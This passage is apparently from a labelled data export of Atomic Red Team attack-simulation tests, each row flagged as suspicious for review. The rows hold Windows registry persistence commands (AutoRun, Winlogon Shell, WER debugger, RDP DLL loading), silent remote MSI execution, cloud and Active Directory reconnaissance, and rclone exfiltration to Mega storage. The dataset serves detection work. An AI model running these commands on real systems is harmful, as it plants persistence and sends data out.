[reference](https://devblogs.microsoft.com/oldnewthing/20071121-00/?p=24433)",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f25a7acb81eefdd7e100dd3a,"Remove-ItemProperty -Path ""HKLM:\Software\Microsoft\Command Processor"" -Name ""AutoRun"" -ErrorAction Ignore","Remove-ItemProperty -Path ""HKLM:\Software\Microsoft\Command Processor"" -Name ""AutoRun"" -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546/T1546.yaml,HKLM - Persistence using CommandProcessor AutoRun key (With Elevation),T1546,"[""T1546""]",windows,0.55,True,"An adversary may abuse the CommandProcessor AutoRun registry key to persist. Every time cmd.exe is executed, the command defined in the AutoRun key also gets executed.
[reference](https://devblogs.microsoft.com/oldnewthing/20071121-00/?p=24433)",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f3fbf9517cb797e4e68a7cf7,"$path = ""HKCU:\Software\Microsoft\Command Processor"" if (!(Test-Path -path $path)){ New-Item -ItemType Key -Path $path } New-ItemProperty -Path $path -Name ""AutoRun"" -Value ""#{command}"" -PropertyType ""String""","$path = ""HKCU:\Software\Microsoft\Command Processor"" if (!(Test-Path -path $path)){ New-Item -ItemType Key -Path $path } New-ItemProperty -Path $path -Name ""AutoRun"" -Value ""#{command}"" -PropertyType ""String""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546/T1546.yaml,HKCU - Persistence using CommandProcessor AutoRun key (Without Elevation),T1546,"[""T1546""]",windows,0.9,False,"An adversary may abuse the CommandProcessor AutoRun registry key to persist. Every time cmd.exe is executed, the command defined in the AutoRun key also gets executed.
[reference](https://devblogs.microsoft.com/oldnewthing/20071121-00/?p=24433)",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b10527704ea87e080936afd4,"Remove-ItemProperty -Path ""HKCU:\Software\Microsoft\Command Processor"" -Name ""AutoRun"" -ErrorAction Ignore","Remove-ItemProperty -Path ""HKCU:\Software\Microsoft\Command Processor"" -Name ""AutoRun"" -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546/T1546.yaml,HKCU - Persistence using CommandProcessor AutoRun key (Without Elevation),T1546,"[""T1546""]",windows,0.55,True,"An adversary may abuse the CommandProcessor AutoRun registry key to persist. Every time cmd.exe is executed, the command defined in the AutoRun key also gets executed.
[reference](https://devblogs.microsoft.com/oldnewthing/20071121-00/?p=24433)",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
44f2d421b2778b125494db31,"reg add ""HKLM\Software\Microsoft\Windows\Windows Error Reporting\Hangs"" /v Debugger /t REG_SZ /d ""C:\Windows\System32\notepad.exe"" /f","reg add ""HKLM\Software\Microsoft\Windows\Windows Error Reporting\Hangs"" /v Debugger /t REG_SZ /d ""C:\Windows\System32\notepad.exe"" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546/T1546.yaml,Adding custom debugger for Windows Error Reporting,T1546,"[""T1546""]",windows,0.9,False,"When applications hang, the Windows Error Reporting framework allows us to attach a debugger, if it is set up in the Registry.
Adding executable of choice will let the executable to auto-execute when during any application crash due to functioning of WER framework
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9298f453979701c5608947db,"reg delete ""HKLM\Software\Microsoft\Windows\Windows Error Reporting\Hangs"" /v Debugger /f","reg delete ""HKLM\Software\Microsoft\Windows\Windows Error Reporting\Hangs"" /v Debugger /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546/T1546.yaml,Adding custom debugger for Windows Error Reporting,T1546,"[""T1546""]",windows,0.55,True,"When applications hang, the Windows Error Reporting framework allows us to attach a debugger, if it is set up in the Registry.
Adding executable of choice will let the executable to auto-execute when during any application crash due to functioning of WER framework
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cd056947561848a22ae81135,"reg add ""HKLM\SOFTWARE\Microsoft\Terminal Server Client"" /v ClxDllPath /t REG_SZ /d ""#{dll_inf}"" /f","reg add ""HKLM\SOFTWARE\Microsoft\Terminal Server Client"" /v ClxDllPath /t REG_SZ /d ""#{dll_inf}"" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546/T1546.yaml,Load custom DLL on mstsc execution,T1546,"[""T1546""]",windows,0.9,False,"Adding ClxDllPath under Terminal Server Client subkey of HKLM hive with a path to custom DLL allows for DLL loading during execution of mstsc.exe
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0604f1318945021c08d7ea86,"reg delete ""HKLM\SOFTWARE\Microsoft\Terminal Server Client"" /v ClxDllPath /f","reg delete ""HKLM\SOFTWARE\Microsoft\Terminal Server Client"" /v ClxDllPath /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546/T1546.yaml,Load custom DLL on mstsc execution,T1546,"[""T1546""]",windows,0.55,True,"Adding ClxDllPath under Terminal Server Client subkey of HKLM hive with a path to custom DLL allows for DLL loading during execution of mstsc.exe
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b2349d5b3f023cde5b42a919,"reg add ""HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\TestDVCPlugin"" /v Path /t REG_SZ /d ""C:\Windows\System32\amsi.dll"" /f","reg add ""HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\TestDVCPlugin"" /v Path /t REG_SZ /d ""C:\Windows\System32\amsi.dll"" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546/T1546.yaml,Persistence using automatic execution of custom DLL during RDP session,T1546,"[""T1546""]",windows,0.9,False,"When remote desktop session is accepted, the system queries the key it queries the Registry key:HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\TestDVCPlugin. 
If such key exists, the OS will attempt to read the Path value underneath.Once the Path is read, the DLL that it points to will be loaded via LoadLibrary.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f128b7407924e1be1fcdbee2,"reg delete ""HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\TestDVCPlugin"" /f","reg delete ""HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\TestDVCPlugin"" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546/T1546.yaml,Persistence using automatic execution of custom DLL during RDP session,T1546,"[""T1546""]",windows,0.55,True,"When remote desktop session is accepted, the system queries the key it queries the Registry key:HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\TestDVCPlugin. 
If such key exists, the OS will attempt to read the Path value underneath.Once the Path is read, the DLL that it points to will be loaded via LoadLibrary.",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b2c632ffdd36c0bdcd2b03e4,Copy-Item -Path PathToAtomicsFolder\T1546\src\ErrorHandler.cmd -Destination C:\Windows\Setup\Scripts\ErrorHandler.cmd C:\windows\System32\oobe\Setup,Copy-Item -Path PathToAtomicsFolder\T1546\src\ErrorHandler.cmd -Destination C:\Windows\Setup\Scripts\ErrorHandler.cmd C:\windows\System32\oobe\Setup,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546/T1546.yaml,Persistence via ErrorHandler.cmd script execution,T1546,"[""T1546""]",windows,0.9,False,"Create persistence by triggering script within ErrorHandler.cmd upon the execution of specific binaries within the oobe directory.
Upon test execution, Setup.exe will be executed to further execute script within ErrorHandlercmd to launch Notepad.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ba23e3ef9231dff71a883a87,Remove-Item C:\Windows\Setup\Scripts\ErrorHandler.cmd,Remove-Item C:\Windows\Setup\Scripts\ErrorHandler.cmd,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546/T1546.yaml,Persistence via ErrorHandler.cmd script execution,T1546,"[""T1546""]",windows,0.55,True,"Create persistence by triggering script within ErrorHandler.cmd upon the execution of specific binaries within the oobe directory.
Upon test execution, Setup.exe will be executed to further execute script within ErrorHandlercmd to launch Notepad.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
944503e15492df35e007846d,"reg add ""HKCU\Software\Microsoft\Office\16.0\Word\Options"" /v STARTUP-PATH /t REG_SZ /d ""C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Recent"" /f","reg add ""HKCU\Software\Microsoft\Office\16.0\Word\Options"" /v STARTUP-PATH /t REG_SZ /d ""C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Recent"" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546/T1546.yaml,Persistence using STARTUP-PATH in MS-WORD,T1546,"[""T1546""]",windows,0.9,False,"When Word starts, it searches for the registry key HKCU\Software\Microsoft\Office\<version>\Word\Options\STARTUP-PATH and if it exists,
it will treat it as a user specific start-up folder and load the contents of the folder with file extensions of .wll,.lnk,.dotm,.dot,.dotx
The registry key can be abused to load malware from the mentioned path. Reboot might be required.",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
96cd1d7c016158e6307f6eea,reg delete HKCU\Software\Microsoft\Office\16.0\Word\Options /v STARTUP-PATH /f,reg delete HKCU\Software\Microsoft\Office\16.0\Word\Options /v STARTUP-PATH /f,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546/T1546.yaml,Persistence using STARTUP-PATH in MS-WORD,T1546,"[""T1546""]",windows,0.55,True,"When Word starts, it searches for the registry key HKCU\Software\Microsoft\Office\<version>\Word\Options\STARTUP-PATH and if it exists,
it will treat it as a user specific start-up folder and load the contents of the folder with file extensions of .wll,.lnk,.dotm,.dot,.dotx
The registry key can be abused to load malware from the mentioned path. Reboot might be required.",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d27083493f4bd645e9a4f40e,"import-module ""PathToAtomicsFolder\..\ExternalPayloads\Get-AzDomainInfo.ps1"" $Password = ConvertTo-SecureString -String ""#{password}"" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList ""#{username}"", $Password Connect-AzAccount -Credential $Credential | out-null Get-AzDomainInfo -folder #{output_directory} -subscription ""#{subscription_name}"" -verbose","import-module ""PathToAtomicsFolder\..\ExternalPayloads\Get-AzDomainInfo.ps1"" $Password = ConvertTo-SecureString -String ""#{password}"" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList ""#{username}"", $Password Connect-AzAccount -Credential $Credential | out-null Get-AzDomainInfo -folder #{output_directory} -subscription ""#{subscription_name}"" -verbose",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1526/T1526.yaml,Azure - Dump Subscription Data with MicroBurst,T1526,"[""T1526""]",iaas:azure,0.9,False,"Upon successful execution, this test will enumerate all resources that are contained within a valid Azure subscription. 
The resources enumerated will display on screen, as well as several csv files and folders will be output to a specified directory, listing what resources were discovered by the script. 
See https://dev.to/cheahengsoon/enumerating-subscription-information-with-microburst-35a1
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d1bac54bfc238a85148b2235,remove-item #{output_directory} -recurse -force -erroraction silentlycontinue,remove-item #{output_directory} -recurse -force -erroraction silentlycontinue,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1526/T1526.yaml,Azure - Dump Subscription Data with MicroBurst,T1526,"[""T1526""]",iaas:azure,0.55,True,"Upon successful execution, this test will enumerate all resources that are contained within a valid Azure subscription. 
The resources enumerated will display on screen, as well as several csv files and folders will be output to a specified directory, listing what resources were discovered by the script. 
See https://dev.to/cheahengsoon/enumerating-subscription-information-with-microburst-35a1
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
17b7037ba0b72296e999af8e,"Import-Module ""PathToAtomicsFolder\T1526\src\AWSDiscovery.ps1"" $access_key = ""#{access_key}"" $secret_key = ""#{secret_key}"" $session_token = ""#{session_token}"" $aws_profile = ""#{profile}"" $regions = ""#{regions}"" Set-AWSAuthentication -AccessKey $access_key -SecretKey $secret_key -SessionToken $session_token -AWSProfile $aws_profile Get-AWSDiscoveryData -Regions $regions -OutputDirectory ""#{output_directory}"" Remove-BlankFiles -OutputDirectory ""#{output_directory}""","Import-Module ""PathToAtomicsFolder\T1526\src\AWSDiscovery.ps1"" $access_key = ""#{access_key}"" $secret_key = ""#{secret_key}"" $session_token = ""#{session_token}"" $aws_profile = ""#{profile}"" $regions = ""#{regions}"" Set-AWSAuthentication -AccessKey $access_key -SecretKey $secret_key -SessionToken $session_token -AWSProfile $aws_profile Get-AWSDiscoveryData -Regions $regions -OutputDirectory ""#{output_directory}"" Remove-BlankFiles -OutputDirectory ""#{output_directory}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1526/T1526.yaml,AWS - Enumerate common cloud services,T1526,"[""T1526""]",iaas:aws,0.9,False,"Upon successful execution, this test will enumerate common resources that are contained within a valid AWS account.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fb6df3c50f7ae2d286bb7e85,"Import-Module ""PathToAtomicsFolder\T1526\src\AzureDiscovery.ps1"" $client_id = ""#{client_id}"" $client_secret = ""#{client_secret}"" $tenant_id = ""#{tenant_id}"" $environment = ""#{cloud}"" Set-AzureAuthentication -ClientID $client_id -ClientSecret $client_secret -TenantID $tenant_id -Environment $environment Get-AzureDiscoveryData -OutputDirectory ""#{output_directory}"" -Environment $environment Remove-BlankFiles -OutputDirectory ""#{output_directory}""","Import-Module ""PathToAtomicsFolder\T1526\src\AzureDiscovery.ps1"" $client_id = ""#{client_id}"" $client_secret = ""#{client_secret}"" $tenant_id = ""#{tenant_id}"" $environment = ""#{cloud}"" Set-AzureAuthentication -ClientID $client_id -ClientSecret $client_secret -TenantID $tenant_id -Environment $environment Get-AzureDiscoveryData -OutputDirectory ""#{output_directory}"" -Environment $environment Remove-BlankFiles -OutputDirectory ""#{output_directory}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1526/T1526.yaml,Azure - Enumerate common cloud services,T1526,"[""T1526""]",iaas:azure,0.9,False,"Upon successful execution, this test will enumerate common resources that are contained within a valid Azure subscription.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
96fdc34f726207304f472ac3,"New-Item #{rclone_config_path}\rclone -ItemType directory New-Item #{rclone_config_path}\rclone\rclone.conf cd ""#{rclone_path}"" .\rclone.exe config create #{remote_share} mega set-Content #{rclone_config_path}\rclone\rclone.conf ""[#{remote_share}] `n type = mega `n user = #{mega_user_account} `n pass = #{mega_user_password}"" .\rclone.exe copy --max-size 1700k ""#{dir_to_copy}"" #{remote_share}:test -v","New-Item #{rclone_config_path}\rclone -ItemType directory New-Item #{rclone_config_path}\rclone\rclone.conf cd ""#{rclone_path}"" .\rclone.exe config create #{remote_share} mega set-Content #{rclone_config_path}\rclone\rclone.conf ""[#{remote_share}] `n type = mega `n user = #{mega_user_account} `n pass = #{mega_user_password}"" .\rclone.exe copy --max-size 1700k ""#{dir_to_copy}"" #{remote_share}:test -v",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1567.002/T1567.002.yaml,Exfiltrate data with rclone to cloud Storage - Mega (Windows),T1567.002,"[""T1567.002""]",windows,0.9,False,"This test uses rclone to exfiltrate data to a remote cloud storage instance. (Mega)
See https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e068a41bd2e7764f9b9674ae,"cd ""#{rclone_path}"" .\rclone.exe purge #{remote_share}:test .\rclone.exe config delete #{remote_share}: Remove-Item #{rclone_config_path}\rclone -recurse -force -erroraction silentlycontinue cd c:\ Remove-Item ""PathToAtomicsFolder\..\ExternalPayloads\rclone.zip"" Remove-Item ""PathToAtomicsFolder\..\ExternalPayloads\T1567.002"" -recurse -force","cd ""#{rclone_path}"" .\rclone.exe purge #{remote_share}:test .\rclone.exe config delete #{remote_share}: Remove-Item #{rclone_config_path}\rclone -recurse -force -erroraction silentlycontinue cd c:\ Remove-Item ""PathToAtomicsFolder\..\ExternalPayloads\rclone.zip"" Remove-Item ""PathToAtomicsFolder\..\ExternalPayloads\T1567.002"" -recurse -force",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1567.002/T1567.002.yaml,Exfiltrate data with rclone to cloud Storage - Mega (Windows),T1567.002,"[""T1567.002""]",windows,0.55,True,"This test uses rclone to exfiltrate data to a remote cloud storage instance. (Mega)
See https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b191d5ff9b1171b972f5a52e,"Write-Host ""Destroying AWS infrastructure... "" -NoNewLine $awsAccessKey = ""#{aws_access_key}"" $awsSecretKey = ""#{aws_secret_key}"" cd PathToAtomicsFolder/T1567.002/src/ if ($awsAccessKey -eq """" -or $awsSecretKey -eq """") { $env:AWS_PROFILE = ""#{aws_profile}"" } else { $env:AWS_ACCESS_KEY_ID = ""$awsAccessKey"" $env:AWS_SECRET_ACCESS_KEY = ""$awsSecretKey"" } $null = PathToAtomicsFolder/../ExternalPayloads/T1567.002/terraform-v*/terraform destroy -var ""aws_region=#{aws_region}"" -auto-approve Write-Host ""Done!""","Write-Host ""Destroying AWS infrastructure... "" -NoNewLine $awsAccessKey = ""#{aws_access_key}"" $awsSecretKey = ""#{aws_secret_key}"" cd PathToAtomicsFolder/T1567.002/src/ if ($awsAccessKey -eq """" -or $awsSecretKey -eq """") { $env:AWS_PROFILE = ""#{aws_profile}"" } else { $env:AWS_ACCESS_KEY_ID = ""$awsAccessKey"" $env:AWS_SECRET_ACCESS_KEY = ""$awsSecretKey"" } $null = PathToAtomicsFolder/../ExternalPayloads/T1567.002/terraform-v*/terraform destroy -var ""aws_region=#{aws_region}"" -auto-approve Write-Host ""Done!""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1567.002/T1567.002.yaml,Exfiltrate data with rclone to cloud Storage - AWS S3,T1567.002,"[""T1567.002""]","linux,macos",0.55,True,"This test uses rclone to exfiltrate data to a remote cloud storage instance. (AWS S3)
See https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
68823e8b34caa03e48e0ca63,ipconfig /all netsh interface show interface arp -a nbtstat -n net config,ipconfig /all netsh interface show interface arp -a nbtstat -n net config,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1016/T1016.yaml,System Network Configuration Discovery on Windows,T1016,"[""T1016""]",windows,0.9,False,"Identify network configuration information

Upon successful execution, cmd.exe will spawn multiple commands to list network configuration settings. Output will be via stdout.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7bef5b4ec8c554ec3e386f0e,netsh advfirewall firewall show rule name=all,netsh advfirewall firewall show rule name=all,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1016/T1016.yaml,List Windows Firewall Rules,T1016,"[""T1016""]",windows,0.9,False,"Enumerates Windows Firewall Rules using netsh.

Upon successful execution, cmd.exe will spawn netsh.exe to list firewall rules. Output will be via stdout.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
544af4dd432673d5922ca267,"if [ ""$(uname)"" = 'FreeBSD' ]; then cmd=""netstat -Sp tcp""; else cmd=""netstat -ant""; fi; if [ -x ""$(command -v arp)"" ]; then arp -a; else echo ""arp is missing from the machine. skipping...""; fi; if [ -x ""$(command -v ifconfig)"" ]; then ifconfig; else echo ""ifconfig is missing from the machine. skipping...""; fi; if [ -x ""$(command -v ip)"" ]; then ip addr; else echo ""ip is missing from the machine. skipping...""; fi; if [ -x ""$(command -v netstat)"" ]; then $cmd | awk '{print $NF}' | grep -v '[[:lower:]]' | sort | uniq -c; else echo ""netstat is missing from the machine. skipping...""; fi;","if [ ""$(uname)"" = 'FreeBSD' ]; then cmd=""netstat -Sp tcp""; else cmd=""netstat -ant""; fi; if [ -x ""$(command -v arp)"" ]; then arp -a; else echo ""arp is missing from the machine. skipping...""; fi; if [ -x ""$(command -v ifconfig)"" ]; then ifconfig; else echo ""ifconfig is missing from the machine. skipping...""; fi; if [ -x ""$(command -v ip)"" ]; then ip addr; else echo ""ip is missing from the machine. skipping...""; fi; if [ -x ""$(command -v netstat)"" ]; then $cmd | awk '{print $NF}' | grep -v '[[:lower:]]' | sort | uniq -c; else echo ""netstat is missing from the machine. skipping...""; fi;",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1016/T1016.yaml,System Network Configuration Discovery,T1016,"[""T1016""]","macos,linux",0.9,False,"Identify network configuration information.
Upon successful execution, sh will spawn multiple commands and output will be via stdout.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1b9196e16e987718aaa74893,ipconfig /all net config workstation net view /all /domain nltest /domain_trusts,ipconfig /all net config workstation net view /all /domain nltest /domain_trusts,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1016/T1016.yaml,System Network Configuration Discovery (TrickBot Style),T1016,"[""T1016""]",windows,0.9,False,"Identify network configuration information as seen by Trickbot and described here https://www.sneakymonkey.net/2019/10/29/trickbot-analysis-part-ii/

Upon successful execution, cmd.exe will spawn `ipconfig /all`, `net config workstation`, `net view /all /domain`, `nltest /domain_trusts`. Output will be via stdout.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
343b52a3b9c45f3ec768512f,"Remove-Item -ErrorAction ignore ""#{output_file}""","Remove-Item -ErrorAction ignore ""#{output_file}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1016/T1016.yaml,List Open Egress Ports,T1016,"[""T1016""]",windows,0.55,True,"This is to test for what ports are open outbound.  The technique used was taken from the following blog:
https://www.blackhillsinfosec.com/poking-holes-in-the-firewall-egress-testing-with-allports-exposed/

Upon successful execution, powershell will read top-128.txt (ports) and contact each port to confirm if open or not. Output will be to Desktop\open-ports.txt.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f8d2d40d7703dcf6ff05543a,"""PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe"" -f (objectcategory=subnet) #{optional_args}","""PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe"" -f (objectcategory=subnet) #{optional_args}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1016/T1016.yaml,Adfind - Enumerate Active Directory Subnet Objects,T1016,"[""T1016""]",windows,0.9,False,"Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Subnet Objects
reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
bad2824e918e39727f74273b,sudo defaults read /Library/Preferences/com.apple.alf sudo /usr/libexec/ApplicationFirewall/socketfilterfw --getglobalstate,sudo defaults read /Library/Preferences/com.apple.alf sudo /usr/libexec/ApplicationFirewall/socketfilterfw --getglobalstate,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1016/T1016.yaml,List macOS Firewall Rules,T1016,"[""T1016""]",macos,0.9,False,"""This will test if the macOS firewall is enabled and/or show what rules are configured. Must be run with elevated privileges. Upon successful execution, these commands will output various information about the firewall configuration, including status and specific port/protocol blocks or allows. 

Using `defaults`, additional arguments can be added to see filtered details, such as `globalstate` for global configuration (\""Is it on or off?\""), `firewall` for common application allow rules, and `ex",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e80726ac2593d29b3ad17de4,nslookup -querytype=ALL -timeout=12 _ldap._tcp.dc._msdcs.%USERDNSDOMAIN%,nslookup -querytype=ALL -timeout=12 _ldap._tcp.dc._msdcs.%USERDNSDOMAIN%,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1016/T1016.yaml,DNS Server Discovery Using nslookup,T1016,"[""T1016""]",windows,0.9,False,"Identify System domain dns controller on an endpoint using nslookup ldap query. This tool is being abused by qakbot malware to gather information on the domain
controller of the targeted or compromised host. reference https://securelist.com/qakbot-technical-analysis/103931/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
37f84603b277bcbc3d051cc3,"connect-mggraph -Scopes AppRoleAssignment.ReadWrite.All,Application.ReadWrite.All,User.Read -NoWelcome Remove-MgApplication $app.AppId Remove-Item -Path Cert:\CurrentUser\My\$($cert.thumbprint) -DeleteKey Disconnect-MgGraph","connect-mggraph -Scopes AppRoleAssignment.ReadWrite.All,Application.ReadWrite.All,User.Read -NoWelcome Remove-MgApplication $app.AppId Remove-Item -Path Cert:\CurrentUser\My\$($cert.thumbprint) -DeleteKey Disconnect-MgGraph",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1114.002/T1114.002.yaml,Office365 - Remote Mail Collected,T1114.002,"[""T1114.002""]",office-365,0.55,True,"Create and register an entra application that downloads emails from a tenant's Office 365 mailboxes using the Microsoft Graph API app-only access. This can be used by an adversary to collect an organization's sensitive information. 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2a073974a99c1d577812c9bb,"#{msi_exe} /q /#{action} ""#{msi_payload}""","#{msi_exe} /q /#{action} ""#{msi_payload}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.007/T1218.007.yaml,Msiexec.exe - Execute Local MSI file with embedded JScript,T1218.007,"[""T1218.007""]",windows,0.9,False,"Executes an MSI containing embedded JScript code using msiexec.exe
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9be3adbb95da4af63e3c8186,Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' },Invoke-CimMethod -ClassName Win32_Product -MethodName #{action} -Arguments @{ PackageLocation = '#{msi_payload}' },bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.007/T1218.007.yaml,WMI Win32_Product Class - Execute Local MSI file with embedded JScript,T1218.007,"[""T1218.007""]",windows,0.9,False,"Executes an MSI containing embedded JScript code using the WMI Win32_Product class
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8102b7e900f4427e8e3b5965,"#{msi_exe} /y ""#{dll_payload}""","#{msi_exe} /y ""#{dll_payload}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.007/T1218.007.yaml,Msiexec.exe - Execute the DllRegisterServer function of a DLL,T1218.007,"[""T1218.007""]",windows,0.9,False,"Loads a DLL into msiexec.exe and calls its DllRegisterServer function. Note: the DLL included in the ""bin"" folder is only built for 64-bit, so this won't work on a 32-bit OS.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
92c5aaf0739fabe80e71ad9a,"#{msi_exe} /z ""#{dll_payload}""","#{msi_exe} /z ""#{dll_payload}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.007/T1218.007.yaml,Msiexec.exe - Execute the DllUnregisterServer function of a DLL,T1218.007,"[""T1218.007""]",windows,0.9,False,"Loads a DLL into msiexec.exe and calls its DllUnregisterServer function. Note: the DLL included in the ""bin"" folder is only built for 64-bit, so this won't work on a 32-bit OS.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
eac3b0837ff72c9f5d82c93a,"#{msi_exe} /q /i ""#{msi_payload}""","#{msi_exe} /q /i ""#{msi_payload}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1218.007/T1218.007.yaml,Msiexec.exe - Execute Remote MSI file,T1218.007,"[""T1218.007""]",windows,0.9,False,"Execute arbitrary MSI file retrieved remotely. Less commonly seen in application installation, commonly seen in malware execution. The MSI executes a built-in JScript payload that launches powershell.exe.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e30701334e5ddc998c975b16,"Set-ItemProperty ""HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\"" ""Shell"" ""explorer.exe, #{binary_to_execute}"" -Force","Set-ItemProperty ""HKCU:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\"" ""Shell"" ""explorer.exe, #{binary_to_execute}"" -Force",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.004/T1547.004.yaml,Winlogon Shell Key Persistence - PowerShell,T1547.004,"[""T1547.004""]",windows,0.9,False,"PowerShell code to set Winlogon shell key to execute a binary at logon along with explorer.exe.

Upon successful execution, PowerShell will modify a registry value to execute cmd.exe upon logon/logoff.
